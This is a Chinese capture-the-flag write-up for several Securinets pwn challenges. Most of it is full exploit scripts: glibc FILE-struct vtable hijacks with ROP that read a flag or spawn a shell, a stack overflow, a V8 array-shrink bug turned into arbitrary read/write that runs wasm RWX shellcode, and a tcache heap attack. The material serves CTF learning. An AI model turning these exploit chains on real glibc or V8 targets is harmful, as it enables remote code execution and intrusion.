securityCTF 2025 pwn方向题解
V-table
手挖io链子
正常的链子
exit_handler() -> io_flush_all() -> io_overflow() -> io_do_write()
我们修改vtable,使得调用overflow变成调用file_finish,正常的finish链子
exit_handler() -> io_file_finish() -> io_do_write()
而实际上我们修改了vtable,finish的位置在overflow-8,因此do_write对应的虚函数也要-8
exit_handler() -> io_file_finish() -> io_do_read()
于是我们就拿到了一个任意写
接下来写chains并打house of cat即可
from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9002
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
b _IO_flush_all
b *(&_IO_flush_all+210)
b _IO_switch_to_wget_mode
go
'''
def pwn():
global p
p = getp()
p.recvuntil('0x')
libcbase = int(p.recv(12), 16) - libc.sym['_IO_2_1_stdout_']
libc.address = libcbase
jump = libc.sym['_IO_file_jumps']
stdin = libc.sym['_IO_2_1_stdin_']
stdout = libc.sym['_IO_2_1_stdout_']
print(hex(stdout))
file = flat(
{
0x0:0xfbad1800,
0x8:[stdout + 0x801, stdout, stdout+0x800],
0x20:[stdout, stdout - 0x800, stdout],
0x68:stdout - 0x10,
0x88:stdout + 0x1f0,
0xb0:0,
0xc8:jump-8,
0x78:stdout + 0x1f0,
0x90:stdout
}, filler = b'\x00'
)
pay = bytes(file)
s(pay)
fake_io=stdout+0x100
IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
saddr=libc.sym['system']
binsh=libc.search('/bin/sh').__next__()
magic=0x0000000000154720+libcbase
IO_wfile_jumps=libc.sym['_IO_wfile_jumps']
setcontext_61=libc.sym['setcontext']+53
rdi=libc.search(asm("pop rdi;ret"),executable=True).__next__()
rax=libc.search(asm("pop rax;ret"),executable=True).__next__()
rsi=libc.search(asm("pop rsi;ret"),executable=True).__next__()
sys_ret=libc.search(asm("syscall;ret"),executable=True).__next__()
ret=rdi +1
saddr=libc.sym['system']
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
cat=flat(
{
0x0:[b'./flag.txt'], # rdi=binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],
0x88:[p64(fake_io+0x90),p64(0),p64(1)], # bypass lock
0xA0:[p64(fake_io+0xA8),p64(0),p64(1)],
(0xA0+0x20):[p64(0)],
(0xA0+0x28):[p64(1)], # bypass check in wfile_seekoff
(0xA0+0x30):[p64(1)], # bypass check in wfile_seekoff
(0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xB0+0xd8+0x18):[p64(magic)], # call entry
(0xB0+0xd8+0x18+0x20):[p64(fake_io+0xB0+0xd8+0x18+0x28)],
(0xB0+0xd8+0x18+0x48):[p64(setcontext_61)],
(0x1C8+0xA0):[p64(fake_io+0x280)], # rsp
(0x1C8+0x68):[p64(0xffffff9c)], # rdi
(0x1C8+0xA8):[p64(rax)], # ret_addr
(0x1C8+0x88):[p64(0x100)], # rdx
(0x1C8+0x70):[p64(fake_io)], # rsi
(0x280):[p64(0x101),p64(sys_ret), # rop
p64(rdi),p64(3),p64(rax),p64(0x0),p64(sys_ret),
p64(rax),p64(0x1),p64(rdi),p64(0x1),p64(sys_ret),
]
},filler=b'\x00')
file = flat(
{
0x58:stdout + 0x100,
0x88:stdout + 0x1f0,
0xb0:0,
0xc8:jump - 8,
0x78:stdout + 0x1f0,
0x90:fake_io
}, filler = b'\x00'
)
pay = bytes(file).ljust(0x100, b'\x00') + bytes(cat)
s(pay)
# write_ptr < write_base (avoid crash in switch to get mode)
# mode > 0 (trigger IO_overflow)
# _wide_data->_IO_write_ptr> _wide_data->_IO_write_base (trigger IO_overflow)
# # A0 -> 18 less than A0 -> 20
# read from _IO_buf_base to _IO_buf_end
# ignore that
# io flush out
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
pwn()
p.interactive()

一条亟待复现的链子
_IO_cleanup-> _IO_unbuffer_all->_IO_new_file_setbuf->_IO_default_setbuf->_IO_new_file_sync->_IO_do_flush-> _IO_wdo_write->__libio_codecvt_out
哦就是apple,不过我还没研究过,有时间再说
from pwn import *
chal = ELF('./main_patched')
HOST = 'pwn-14caf623.p1.securinets.tn'
PORT = 9002
gdbscript='''
dir ~/glibc
b *vuln +54
c
'''
context.binary = chal
context.terminal = ["tmux", "splitw", "-h"]
if args.GDB:
conn = gdb.debug([chal.path], gdbscript)
elif args.REMOTE:
conn = remote(HOST, PORT)
else:
conn = process([chal.path])
def main():
conn.recvuntil(b': ')
addr_stdout = int(conn.recvline().strip(), 0x10)
# FIXME
addr_libc_base = addr_stdout - 0x1e85c0
addr_system = addr_libc_base + 0x53110
addr_stdfile_1_lock = addr_libc_base + 0x1e97b0
addr_gadget = addr_libc_base + 0x001563c3 # add rdi, 0x10; jmp rcx;
info(f'{addr_stdout = :#x}')
info(f'{addr_libc_base = :#x}')
info(f'{addr_system = :#x}')
info(f'{addr_stdfile_1_lock = :#x}')
info(f'{addr_gadget = :#x}')
payload = flat({
0x0: 1, # _flags
0x8: addr_system + 0x4, # _IO_read_ptr (_wide_data->_IO_write_base),
0x10: addr_system + 0x3, #_IO_read_end (_wide_data->_IO_write_ptr)
0x20: 0, # _IO_write_base (_codecvt->__cd_out->step->__shlib_handle)
0x28: 1, # _IO_write_ptr
0x30: b'/bin/sh\0', # rdi + 0x10
0x38: 0, # _IO_buf_base (_wide_data->_IO_backup_base)
0x48: addr_gadget, # _IO_save_base (_codecvt->__cd_out->step->__fct)
0x50: 0, # _IO_backup_base
0x58: addr_stdout + 0x20, # _IO_save_end (_codecvt->__cd_out->step) +0x60, +0x68, +0x80 will be overwitten
0x88: addr_stdfile_1_lock, # _lock
0x98: addr_stdout + 0x58 - 0x38, # _codecvt
0xa0: addr_stdout + 0x8 - 0x18, # _wide_data
0xc0: 1, # _mode
}, filler=b'\0', length=0xd8)
conn.send(payload)
conn.interactive()
if __name__ == '__main__':
main()
Zip++
zip,但是压缩算法不好
所以有个栈溢出控制到win就结束了
from pwn import *
filename = './main'
# libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9000
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def pwn():
global p
p = getp()
pay = b'\x01\x02' * 198 + b'\xa6' *0x11
sa(':',pay)
sa(':','exit')
pwn()
p.interactive()
Sukunahikona
一个简单的v8题
var _b = new ArrayBuffer(16);
var _f = new Float64Array(_b);
var _i = new BigUint64Array(_b);
function f2i(f)
{
_f[0] = f;
return _i[0];
}
function i2f(i)
{
_i[0] = i;
return _f[0];
}
function phex(i)
{
console.log("[HEX]: 0x"+i.toString(16).padStart(16,"0"));
}
let arr = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9, 10.10, 11.11, 12.12, 13.13, 14.14, 15.15, 16.16, 17.17, 18.18, 19.19, 20.20];
let obj_arr = [{}, {}, {}];
let evil_len = {
valueOf: function() {
// arr.push({}); // Change the array to HOLEY_ELEMENTS array if needed
arr.length = 2;
return 19;
}
};
arr.shrink(evil_len);
new ArrayBuffer(0xfe000000);
new ArrayBuffer(0xfe000000);
new ArrayBuffer(0xfe000000);
// %DebugPrint(arr);
// const map_value = arr[2];
function show_arr()
{
for (let i = 0; i < arr.length; i++) {
phex(f2i(arr[i]));
}
}
function addr_of(obj)
{
obj_arr[2] = obj;
return f2i(arr[6]) & 0xffffffffn;
}
function read32_at(addr)
{
arr[7] = i2f(((addr-8n) << 32n) | 0x725n);
arr[8] = i2f((0x2n << 32n) | (0x2n));
return f2i(obj_arr[0][0]);
}
function write32_at(addr, val)
{
arr[7] = i2f(((addr-8n) << 32n) | 0x725n);
arr[8] = i2f((0x2n << 32n) | (0x2n));
obj_arr[0][0] = i2f(val);
}
function pwn()
{
darr_map = f2i(arr[2]);
oarr_map = f2i(arr[17]);
darr_addr = (f2i(arr[3]) + 8n) & 0xffffffffn;
oarr_addr = darr_addr + 0x28n;
obj0_addr = oarr_addr + 0xcn;
phex(obj0_addr);
phex(oarr_map);
arr[6] = i2f((darr_map & 0xffffffffn) << 32n);
// arr[7] = i2f((darr_map >> 32n) | )
var data_buf = new ArrayBuffer(0x400);
var data_view = new DataView(data_buf);
backing = addr_of(data_buf) + 0x24n;
haddr = read32_at(backing);
phex(backing);
phex(haddr);
// %DebugPrint(data_buf);
// %DebugPrint(data_view);
// %DebugPrint(arr);
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
f_addr = addr_of(f);
instance_addr = read32_at(f_addr + 0x10n) & 0xffffffffn;
function_data_addr = read32_at(instance_addr + 4n) & 0xffffffffn;
instance_data = read32_at(function_data_addr + 0x14n) & 0xffffffffn;
rwx = read32_at(instance_data + 0x30n);
phex(f_addr);
phex(instance_addr);
phex(function_data_addr);
phex(instance_data);
phex(rwx);
write32_at(backing, rwx);
// %DebugPrint(data_buf);
shellcode = [
0x2434810101757968n,
0x2f66b84801010101n,
0x4850742e67616c66n,
0x632f656d6f682fb8n,
0x31d231e789485074n,
0xc031050f58026af6n,
0x4801b6d2315f036an,
0x315f016a050fe689n,
0x16ae6894801b6d2n,
0x50f58n,
];
for (let i = 0; i < shellcode.length; ++i)
{
data_view.setFloat64(i * 8, i2f(shellcode[i]), true);
}
f();
}
pwn()
while(1) {}
push pop all
在里面藏个bad就会阻断cs的解析
然后我们用push pop指令再把bad指令写掉,就能正常执行后面的shellcode了
from pwn import *
import base64
context.arch = 'amd64'
context.log_level = 'debug'
host = '127.0.0.1'
port = 1337
host = 'pwn-14caf623.p1.securinets.tn'
port = 9001
def pwn():
p = remote(host, port)
shellcode = asm('pop rax')*8
shellcode += asm('push r11; pop rsp; pop rax; pop rbx; push rax;') + b'\x60'
shellcode += asm('nop; nop; add rsp, 0x800;' + shellcraft.sh())
shellcode = base64.b64encode(shellcode)
p.sendline(shellcode)
p.interactive()
p.close()
pwn()
push pop all revenge
我不喜欢这道题 TvT
用 search -2 050f找syscall,然后pop到寄存器里再push到rwx
或者用canary 1/256拿 0xf
长度有0x2000,足够我们pop来搜索
search -w -2 ...

这是第一种办法,肉眼查找法。第一种办法的优化是自己编写一个gdb脚本,将search的结果与栈上指针比对,最后找到一个可以获得0x50f的办法
第二种办法是用pop sp修改rsp的低位,之前我只知道64位下没有pop eax...但是没想到原来可以pop ax...
用pop sp 修改 rsp低位为7,然后pop到0x507即可
第三种做法是控制code的长度,填充我们的shellcode使其长度为0x507,然后找到我们code的源代码,再反照对象的引用路径,最后在栈上找到能跑过去的链子


咕咕嘎嘎.mp4
(不过这里在栈更高位的地方上不去)
(但是pop sp疑似就上去了)
from pwn import *
from base64 import *
filename = "/bin/python"
# libc = ELF("./libc.so.6")
host= 'pwn-14caf623.p1.securinets.tn'
port= 9090
# host = '127.0.0.1'
# port = 1337
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
p = remote(host, port)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def pwn():
global p
p = getp()
shellcode = asm('pop rcx; pop rcx; pop rcx;')
shellcode += asm('pop rsp; pop rcx; pop rcx; pop rcx; pop rsp;') + asm('pop rbx')* 397 + asm('pop rsp; pop rcx; pop rcx; pop rcx;')
shellcode += asm('pop rcx; pop rsp; pop rcx; pop rcx; pop rbx; push r11; pop rsp;')
shellcode += asm('pop rcx; push rsp; pop rsi') + asm('pop rcx') * 0x40 + asm('push rbx; pop rdx')
shellcode = shellcode.ljust(0x50f, asm('pop rcx'))
shellcode = b64encode(shellcode)
sla('Shellcode : ', shellcode)
# sleep(10)
shellcode = b'\x90'*0x220 + asm('add rsp, 0x800;' + shellcraft.sh())
s(shellcode)
# p.recv(1, timeout=2)
# shellcode = b'\x90'*0x520 + asm('add rsp, 0x800;') + asm(shellcraft.write(1, 'rsp', 0x100))
# sleep(0.5)
# sl(shellcode)
# p.interactive()
# p.recv(1)
pwn()
p.interactive()
记得控制rdx不要太大
spell manage
简单的堆题,给了个任意申请
from pwn import *
filename = './main'
libc = ELF("./libc.so.6")
host= ''
port= 0
sla = lambda x,s : p.sendlineafter(x,s)
sl = lambda s : p.sendline(s)
sa = lambda x,s : p.sendafter(x,s)
s = lambda s : p.send(s)
e = ELF(filename)
context.log_level='debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)
def run(mode, script = ""):
if "d" in mode:
p = gdb.debug(filename, script)
elif "l" in mode:
p = process(filename)
elif "r" in mode:
p = remote(host, port)
elif "a" in mode:
p = process(filename)
gdb.attach(p, script)
return p
def getp():
global script
if len(sys.argv) == 2:
p = run(sys.argv[1], script)
else:
p = run("l", script)
return p
script = '''
go
'''
def add(idx, content):
s = content.ljust(0x6c, b'\x00')
sla(': ', '1')
sla(': ', str(idx))
sa(': ', s[0:0x20])
sa(': ', s[0x20:0x60])
sla(':', str(u32(s[0x60:0x64])))
sla(':', str(u32(s[0x64:0x68])))
sla(':', str(u32(s[0x68:0x6c])))
def edit(idx, content):
s = content.ljust(0x6c, b'\x00')
sla(': ', '2')
sla(': ', str(idx))
sa(': ', s[0:0x20])
sa(': ', s[0x20:0x60])
sla(':', str(u32(s[0x60:0x64])))
sla(':', str(u32(s[0x64:0x68])))
sla(':', str(u32(s[0x68:0x6c])))
def show():
sla(':', '3')
def free(idx):
sla(':', '4')
sla(':', str(idx))
def pwn():
global p
p = getp()
for i in range(0, 7):
add(i, b'')
free(i)
show()
p.recvuntil('Slot 0:\n Name:')
haddr = u64(p.recv(6)+b'\x00\x00')*0x10 + 0x90
tkey = haddr >> 12
add(8, b'')
add(9, b'')
for i in range(0, 11):
add(10 + i, b'')
free(8)
free(9)
edit(0, b'\x00'*0x58+p64(0x81)+p64(tkey))
edit(9, p64(tkey ^ (haddr + 0x60)))
add(8, b'')
add(9, b'\x00'*0x18 + p64(0x481))
free(1)
show()
p.recvuntil('Slot 1:\n Name: ')
libcbase = u64(p.recv(6)+b'\x00\x00') - 0x203b20
for i in range(0, 5):
add(11 + i, b'')
add(12, p64(tkey ^ (libcbase+libc.sym['_IO_list_all'])))
fake_io = haddr + 0x390
IO_wfile_jumps=libcbase+libc.sym['_IO_wfile_jumps']
setcontext_61=libcbase+libc.sym['setcontext']+61
rdi=libcbase+0x000000000010f75b
rax=libcbase+0x00000000000dd237
rsi=libcbase+0x0000000000110a4d
sys_ret=libcbase+0x000000000098FC5
ret=libcbase+0x000000000010f75b+1
saddr=libcbase+libc.sym['system']
binsh=libcbase+libc.search('/bin/sh').__next__()
Rop=p64(rdi)+p64(binsh)+p64(saddr)
orw=p64(setcontext_61)+p64(rdi)+p64(0xFFFFFF9C)
# 0x0 rdi 0x8 _IO_read_ptr
# 0x10 _IO_read_end 0x18 _IO_read_base
# 0x20 _IO_write_base 0x28 _IO_write_ptr
# 0x30 _IO_write_end 0x38 _IO_buf_base
# 0x40 _IO_buf_end 0x48 _IO_save_base
# 0x50 _IO_backup_base 0x58 _IO_save_end
# 0x60 _markers 0x68 _chain
# 0x70 _fileno 0x74 _flags2
# 0x78 _old_offset 0x80 _cur_column
# 0x82 _vtable_offset 0x83 _shortbuf
# 0x88 _lock 0x90 _offset
# 0x98 _codecvt 0xa0 _wide_data
# 0xa8 _freeres_list 0xb0 _freeres_buf
# 0xb8 __pad5 0xc0 _mode
# 0xc4 _unused2 0xd8 vtable
# magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
pay=flat(
{
0x0:[b'/bin/sh\x00'], # rdi = binsh
0x20:[p64(0)], # write_base
0x28:[p64(1)], # write_ptr --> ptr > base
0x48:[p64(saddr)],
0xc0:[p64(0)], # _mode <= 0
0xd8:[p64(IO_wfile_jumps+0x30)],
0x88:[p64(fake_io+0x90),p64(0),p64(1)], # bypass lock
0xA0:[p64(fake_io-0x10)], # bypass check in wfile_seekoff
0x10:[p64(1)],
0x18:[p64(0)],
# (0xB0+0xd8):[p64(fake_io+0xB0+0xd8)], # fake wfile vtable
(0xc8):[p64(fake_io+0xd0-0x18)],
(0xd0):[p64(fake_io+0x30)], # call entry
}, filler=b'\x00'
)
add(12, bytes(pay)[0:0x68])
add(13, bytes(pay)[0x80:0xe0])
sla(':', '5')
sla(':', str(0x78))
sla(':', p64(0))
sla(':', '5')
sla(':', str(0x78))
sla(':', p64(fake_io))
print(hex(libcbase))
print(hex(haddr))
pwn()
p.interactive()
改_IO_list_all结束

浙公网安备 33010602011771号